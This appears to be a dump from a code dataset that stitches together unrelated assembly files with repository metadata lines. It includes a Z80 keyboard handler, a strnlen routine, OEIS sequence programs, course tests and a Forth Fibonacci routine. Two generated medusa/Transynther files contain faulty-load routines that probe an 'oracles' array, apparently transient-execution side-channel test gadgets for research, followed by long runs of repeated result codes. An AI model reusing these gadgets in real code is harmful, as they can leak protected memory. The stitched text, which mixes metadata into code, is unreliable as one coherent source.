a,(KeyBufPutPos) inc a cp 0ch jr c,dontzero xor a dontzero: ld b,a ld a,(KeyBufGetPos) cp b jp z,KBufferFull xor a out (11h),a ld a,2 out (12h),a ld (mask12),a ld hl,keyTable+8 in a,(10h) ld b,(hl) ld (hl),a or b xor b and a jr z,noProgKey1 bitP0: bit 0,a jr z,bitP1 ld a,56 ld l,1 jp lookup bitP1: bit 1,a jr z,bitP2 ld a,57 ld l,2 jr lookup bitP2: bit 2,a jr z,bitP3 ld a,58 ld l,4 jr lookup bitP3: bit 3,a jr z,bitP4 ld a,59 ld l,8 jr lookup bitP4: bit 4,a jr z,bitP6 ld a,60 ld l,16 jr lookup bitP6: bit 6,a jr z,noProgKey1 ld a,61 ld l,64 jr lookup noProgKey1: ld a,1 out (12h),a ld (mask12),a ld hl,keyTable+9 in a,(10h) ld b,(hl) ld (hl),a or b xor b and a jr z,noProgKey2 abitP0: bit 0,a jr z,abitP3 ld a,62 ld l,1 jp lookup abitP3: bit 3,a jr z,abitP4 ld a,63 ld l,8 jr lookup abitP4: bit 4,a jr z,abitP5 ld a,64 ld l,16 jr lookup abitP5: bit 5,a jr z,abitP6 ld a,65 ld l,32 jr lookup abitP6: bit 6,a jr z,noProgKey2 ld a,66 ld l,64 lookup: ld e,a xor a ld (mask11),a ld a,l ld (mask10),a jr lookup2 noProgKey2: xor a out (12h),a ld hl,keyTable ld de,100h keyscan: ld a,d out (11h),a in a,(10h) ld b,(hl) ld (hl),a or b xor b and a jr nz,bit0 inc e inc hl sla d jr nz,keyscan bit0: bit 0,a jr z,bit1 ld a,e ld l,1 jr rlookup bit1: bit 1,a jr z,bit2 ld a,e add a,8 ld l,2 jr rlookup bit2: bit 2,a jr z,bit3 ld a,e add a,16 ld l,4 jr rlookup bit3: bit 3,a jr z,bit4 ld a,e add a,24 ld l,8 jr rlookup bit4: bit 4,a jr z,bit5 ld a,e add a,32 ld l,16 jr rlookup bit5: bit 5,a jr z,bit6 ld a,e add a,40 ld l,32 jr rlookup bit6: bit 6,a jp z,nokey ld a,e add a,48 ld l,64 rlookup: ld e,a ld a,l ld hl,mask10 ld (hl),a inc hl ; =mask11 ld (hl),d xor a ld (mask12),a lookup2: xor a ld hl,keyTable ld b,(hl) bit 6,b jr z,no2nd ld a,Mask2nd no2nd: bit 5,b jr nz,shift ld hl,keyTable+6 bit 3,(hl) jr z,noShift shift: or MaskShift noShift: ld hl,keyTable+3 bit 6,(hl) jr z,noInv or MaskInv noInv: dec hl bit 6,(hl) jr z,noNew or MaskNew noNew: lookupKey: ld b,a ld hl,keys ld d,0 add hl,de add hl,de ld a,(hl) ld c,a inc hl ld a,(hl) xor b ld b,a ld hl,repeatcount ld a,(ozkeyrepeatdelay) ld (hl),a inc hl ; =repeatkey ld (hl),c inc hl ld (hl),b putinbuf: call KbdHit ld a,(ozclick_setting) or a call nz,ozkeyclick putinbuf_noclick: ld a,(KeyBufPutPos) inc a cp 0ch jr c,dontzero2 xor a dontzero2: ld (KeyBufPutPos),a ld e,a ld d,0 ld hl,KeyboardBuffer add hl,de add hl,de ld (hl),c inc hl ld (hl),b KBufferFull: iret: ld a,0ffh out (11h),a out (12h),a pop hl pop de pop bc jp key_isr_ret clearrepeat: xor a ld hl,mask11 ld (hl),a ; hl=mask11 inc hl ld (hl),a ; hl=mask12 jr iret nokey: ld a,(mask12) ld hl,mask11 ld c,(hl) ; c=(mask11) or c jr z,iret ; nothing to repeat inc hl ; =repeatcount inc hl ; =repeatkey ld hl,repeatkey xor a ld b,(hl) or b jr z,clearrepeat ; lower shift - do not repeat inc hl ld a,080h and (hl) jr z,doRepeat ; not any other shift key ld a,b cp kRShift.and.0ffh jr z,clearrepeat cp kNew.and.0ffh jr z,clearrepeat cp kInv.and.0ffh jr z,clearrepeat cp k2nd.and.0ffh jr z,clearrepeat doRepeat: ld hl,mask10 ld a,c out (11h),a ; set mask ld a,(mask12) out (12h),a in a,(10h) and (hl) ; (mask10) inc hl ; =mask11 jr z,clearrepeat ; key to be repeated released inc hl ; =repeatcount dec (hl) ld a,(hl) or a jr nz,iret ; not time yet ld a,(ozkeyrepeatspeed) ld (hl),a inc hl ; =repeatkey ld c,(hl) inc hl ld b,(hl) jp putinbuf_noclick keys: defw kEsc,'1','2','3','4','5','6','7' defw 'q','w','e','r','t','8','9','0' defw 0,'y','u','i','o','p',8,'.' defw 'g','h','j','k','l',13,kRShift,',' defw 'a','s','d','f',kLeft,kDown,kRight,kUp defw kLShift,'z','x','c','v','b','n','m' defw k2nd,kMenu,kNew,kInv,' ','-',kEnter,0 defw kMain,kTel,kSched,kMemo,kMyProg,kLight defw kUpperMenu,kUpperEsc,kUpperEnter,kPageUp,kPageDown ozkeyclick: in a,(15h) and a ret nz ; bell char takes priority ld a,1 out (19h),a out (16h),a xor a keyclick: dec a jr nz,keyclick out (16h),a dontClick: ret
20.708197
74
0.431444
38033a54d29e4b821c4ba952b39f13ca6bb558b8
786
asm
Assembly
asm/strnlen.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
asm/strnlen.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
asm/strnlen.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
global @ASM_strnlen@8 extern @ASM_memchr@12 %define ASM_memchr @ASM_memchr@12 segment .text align=16 %define string ecx %define maxLength edx %define startString esi %define startMaxLength ebx %define searchedChar edx %define searchedString ecx %define result eax %define memchrRet eax @ASM_strnlen@8: push startString push startMaxLength mov startString, string mov startMaxLength, maxLength sub esp, 16 push maxLength xor searchedChar, searchedChar ; mov searchedString, string ; Both are ecx call ASM_memchr mov edx, memchrRet sub edx, startString test memchrRet, memchrRet mov result, startMaxLength cmovne result, edx add esp, 16 pop startMaxLength pop startString ret
21.243243
47
0.706107
daeba26fdf3c2530bcf34bc2c5d8233eef7ea073
7,200
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_572.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_572.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_572.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x16ea, %r8 nop nop nop nop nop xor %rbx, %rbx movl $0x61626364, (%r8) nop nop nop nop nop sub $51861, %r10 lea addresses_normal_ht+0x103e6, %r10 nop nop nop and $32802, %rdx movb $0x61, (%r10) nop nop inc %r13 lea addresses_normal_ht+0x12d2a, %r10 nop nop add $29757, %rbx movups (%r10), %xmm4 vpextrq $1, %xmm4, %r11 nop nop cmp $2089, %rbx lea addresses_A_ht+0x101f2, %rdx nop nop nop nop inc %r14 movb (%rdx), %r10b nop nop nop xor %r10, %r10 lea addresses_A_ht+0x17ae6, %rsi lea addresses_WC_ht+0x148be, %rdi nop nop nop nop add %r11, %r11 mov $65, %rcx rep movsl nop nop nop nop add %rdx, %rdx lea addresses_D_ht+0x8666, %rdx nop nop nop and $41551, %rdi mov (%rdx), %r13d add %rdi, %rdi lea addresses_WT_ht+0x13a6e, %rsi lea addresses_UC_ht+0xfde6, %rdi clflush (%rsi) nop nop nop nop nop xor $54353, %r10 mov $89, %rcx rep movsw nop cmp %rsi, %rsi lea addresses_UC_ht+0xa5e6, %r14 clflush (%r14) nop nop and %r8, %r8 movups (%r14), %xmm1 vpextrq $1, %xmm1, %r11 nop and $48844, %rbx lea addresses_D_ht+0x11850, %r8 nop nop nop nop cmp %r11, %r11 vmovups (%r8), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rbx nop and %r10, %r10 lea addresses_normal_ht+0x58e6, %rbx nop nop nop nop nop add $41068, %rsi mov (%rbx), %r8 nop nop nop nop nop add $14521, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r9 push %rax push %rdi push %rdx // Load lea addresses_D+0xbcde, %r15 nop nop nop nop nop xor $52640, %r13 mov (%r15), %r9d nop nop cmp %r13, %r13 // Store lea addresses_UC+0xd4e6, %rdi clflush (%rdi) nop nop nop cmp $21514, %rax movw $0x5152, (%rdi) sub %rdx, %rdx // Store mov $0xfe6, %r9 nop nop cmp $25675, %r14 movl $0x51525354, (%r9) sub %r14, %r14 // Faulty Load lea addresses_PSE+0x8de6, %r13 nop nop nop nop add $15205, %r14 movb (%r13), %al lea oracles, %rdx and $0xff, %rax shlq $12, %rax mov (%rdx,%rax,1), %rax pop %rdx pop %rdi pop %rax pop %r9 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 8}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
32.579186
2,999
0.653056
f2e04bafb9d8d69d872c0b9d9ef7bbb4adb3341c
278
asm
Assembly
libsrc/_DEVELOPMENT/arch/cpm/c/sdcc_iy/cpm_set_offset.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/cpm/c/sdcc_iy/cpm_set_offset.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/cpm/c/sdcc_iy/cpm_set_offset.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void cpm_set_offset(void *p, unsigned long offset) SECTION code_clib SECTION code_arch PUBLIC _cpm_set_offset EXTERN asm_cpm_set_offset _cpm_set_offset: pop af pop bc pop hl pop de push de push hl push bc push af jp asm_cpm_set_offset
11.583333
52
0.708633
19003348492df8c9aefe77e31941e51dedf83056
494
asm
Assembly
oeis/195/A195125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/195/A195125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/195/A195125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A195125: a(n) = 2*n - floor(n*r), where r=Pi-3. ; Submitted by Jon Maiga ; 0,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28,30,32,34,36,38,40,41,43,45,47,49,51,53,54,56,58,60,62,64,66,67,69,71,73,75,77,79,80,82,84,86,88,90,92,93,95,97,99,101,103,105,106,108,110,112,114,116,118,119,121,123,125,127,129,131,132,134,136,138,140,142,144,145,147,149,151,153,155,157,158,160,162,164,166,168,170,171,173,175,177,179,181,183,184 mov $1,$0 mul $1,2 mov $2,$0 lpb $2,$2 sub $1,1 sub $2,7 lpe mov $0,$1
38
342
0.657895
35176b98566cc909ed1e4e69a7ee64c955d6f1cc
1,652
asm
Assembly
programs/oeis/195/A195020.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/195/A195020.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/195/A195020.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A195020: Vertex number of a square spiral in which the length of the first two edges are the legs of the primitive Pythagorean triple [3, 4, 5]. The edges of the spiral have length A195019. ; 0,3,7,13,21,30,42,54,70,85,105,123,147,168,196,220,252,279,315,345,385,418,462,498,546,585,637,679,735,780,840,888,952,1003,1071,1125,1197,1254,1330,1390,1470,1533,1617,1683,1771,1840,1932,2004,2100,2175,2275,2353,2457,2538,2646,2730,2842,2929,3045,3135,3255,3348,3472,3568,3696,3795,3927,4029,4165,4270,4410,4518,4662,4773,4921,5035,5187,5304,5460,5580,5740,5863,6027,6153,6321,6450,6622,6754,6930,7065,7245,7383,7567,7708,7896,8040,8232,8379,8575,8725,8925,9078,9282,9438,9646,9805,10017,10179,10395,10560,10780,10948,11172,11343,11571,11745,11977,12154,12390,12570,12810,12993,13237,13423,13671,13860,14112,14304,14560,14755,15015,15213,15477,15678,15946,16150,16422,16629,16905,17115,17395,17608,17892,18108,18396,18615,18907,19129,19425,19650,19950,20178,20482,20713,21021,21255,21567,21804,22120,22360,22680,22923,23247,23493,23821,24070,24402,24654,24990,25245,25585,25843,26187,26448,26796,27060,27412,27679,28035,28305,28665,28938,29302,29578,29946,30225,30597,30879,31255,31540,31920,32208,32592,32883,33271,33565,33957,34254,34650,34950,35350,35653,36057,36363,36771,37080,37492,37804,38220,38535,38955,39273,39697,40018,40446,40770,41202,41529,41965,42295,42735,43068,43512,43848,44296,44635,45087,45429,45885,46230,46690,47038,47502,47853,48321,48675,49147,49504,49980,50340,50820,51183,51667,52033,52521,52890,53382,53754,54250,54625 mov $4,$0 mul $4,2 mov $2,$4 lpb $0 sub $0,1 add $1,$2 add $3,3 trn $3,$2 add $1,$3 trn $2,4 lpe
110.133333
1,349
0.785714
c4f8f6e15abf7babfebf4b3a78872e321109d64e
876
asm
Assembly
sw/552tests/rand_simple/t_4_slli.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
1
2022-02-15T16:03:25.000Z
2022-02-15T16:03:25.000Z
sw/552tests/rand_simple/t_4_slli.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
sw/552tests/rand_simple/t_4_slli.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
// seed 4 lbi r0, 246 // icount 0 slbi r0, 223 // icount 1 lbi r1, 105 // icount 2 slbi r1, 105 // icount 3 lbi r2, 23 // icount 4 slbi r2, 20 // icount 5 lbi r3, 164 // icount 6 slbi r3, 222 // icount 7 lbi r4, 176 // icount 8 slbi r4, 66 // icount 9 lbi r5, 203 // icount 10 slbi r5, 226 // icount 11 lbi r6, 165 // icount 12 slbi r6, 211 // icount 13 lbi r7, 180 // icount 14 slbi r7, 106 // icount 15 slli r6, r0, 0 // icount 16 slli r3, r2, 2 // icount 17 slli r4, r4, 12 // icount 18 slli r2, r0, 0 // icount 19 slli r7, r1, 2 // icount 20 slli r7, r2, 4 // icount 21 slli r3, r7, 5 // icount 22 slli r4, r2, 12 // icount 23 slli r0, r2, 1 // icount 24 slli r7, r2, 3 // icount 25 slli r1, r7, 6 // icount 26 slli r1, r7, 14 // icount 27 slli r3, r5, 6 // icount 28 slli r1, r5, 0 // icount 29 slli r6, r7, 14 // icount 30 slli r5, r7, 12 // icount 31 halt // icount 32
25.028571
28
0.622146
b6c07e99163046ca157cba00bdac809935744b1a
716
asm
Assembly
programs/oeis/017/A017366.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017366.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017366.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017366: a(n) = (10*n+8)^2. ; 64,324,784,1444,2304,3364,4624,6084,7744,9604,11664,13924,16384,19044,21904,24964,28224,31684,35344,39204,43264,47524,51984,56644,61504,66564,71824,77284,82944,88804,94864,101124,107584,114244,121104,128164,135424,142884,150544,158404,166464,174724,183184,191844,200704,209764,219024,228484,238144,248004,258064,268324,278784,289444,300304,311364,322624,334084,345744,357604,369664,381924,394384,407044,419904,432964,446224,459684,473344,487204,501264,515524,529984,544644,559504,574564,589824,605284,620944,636804,652864,669124,685584,702244,719104,736164,753424,770884,788544,806404,824464,842724,861184,879844,898704,917764,937024,956484,976144,996004 mul $0,10 add $0,8 pow $0,2
102.285714
656
0.817039
7bd7e6bce193ba5abe23084953be1550c982c355
555
asm
Assembly
forth/fibonacci.asm
baioc/S4PU
d098615ca0d4ac6c95d9bb3a2e69835f08fc165c
[ "Artistic-2.0" ]
null
null
null
forth/fibonacci.asm
baioc/S4PU
d098615ca0d4ac6c95d9bb3a2e69835f08fc165c
[ "Artistic-2.0" ]
null
null
null
forth/fibonacci.asm
baioc/S4PU
d098615ca0d4ac6c95d9bb3a2e69835f08fc165c
[ "Artistic-2.0" ]
null
null
null
( S4PU-Forth Stack Fibonacci ) ( jump to main routine ) branch main ( x1 x2 -- x1 x2 x1 ) $over: lit 1 pick exit ( x1 x2 -- x1 x2 x1 x2 ) $2dup: over over exit ( f[n-2] f[n-1] -- f[n-2] f[n-1] f[n] ) nop $fibonacci: 2dup + exit $main: lit 0 ( stdout ) >R lit 0 dup R> dup 1+ >R ! lit 1 dup R> dup 1+ >R ! ( until stack overflow ) $loop: fibonacci dup R> dup 1+ >R ! branch loop
9.40678
39
0.412613
b0d036c6314aa87c30b0e92e7687c6f44f3230fb
6,557
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1209.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1209.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1209.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xab64, %r11 nop nop nop nop nop add $25697, %r14 mov (%r11), %rdx nop nop nop and $49685, %r12 lea addresses_UC_ht+0x91b0, %rbp nop nop xor %rdx, %rdx mov (%rbp), %r11d nop nop nop nop nop inc %r14 lea addresses_D_ht+0xf1ea, %rsi lea addresses_WT_ht+0xf3ea, %rdi xor %r14, %r14 mov $119, %rcx rep movsq nop nop sub $63058, %rdx lea addresses_D_ht+0x18b0e, %rdi nop nop nop nop xor $44865, %rsi movb $0x61, (%rdi) add %r11, %r11 lea addresses_WC_ht+0x19e4a, %rsi lea addresses_D_ht+0x135ea, %rdi nop sub %r14, %r14 mov $109, %rcx rep movsq and $46156, %rbp lea addresses_normal_ht+0x142d2, %rsi lea addresses_WT_ht+0xa06a, %rdi nop nop sub %r12, %r12 mov $63, %rcx rep movsq nop nop nop nop nop xor $30102, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r14 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r8 push %rbx push %rcx push %rdi // Store lea addresses_PSE+0x18b9a, %r11 sub $9701, %rdi mov $0x5152535455565758, %r10 movq %r10, (%r11) nop nop and %r11, %r11 // Store mov $0xe6a, %r8 nop nop nop nop cmp $64307, %rbx mov $0x5152535455565758, %r10 movq %r10, (%r8) nop nop nop nop add %r13, %r13 // Load lea addresses_US+0x110ea, %r13 clflush (%r13) nop nop inc %rdi vmovups (%r13), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r11 // Exception!!! nop nop nop nop nop mov (0), %r10 nop nop and %r10, %r10 // Load lea addresses_normal+0x16932, %rcx nop nop nop nop sub $1067, %r13 vmovups (%rcx), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %r10 inc %r13 // Faulty Load lea addresses_RW+0xe5ea, %r10 nop nop nop xor %r8, %r8 movb (%r10), %bl lea oracles, %r11 and $0xff, %rbx shlq $12, %rbx mov (%r11,%rbx,1), %rbx pop %rdi pop %rcx pop %rbx pop %r8 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 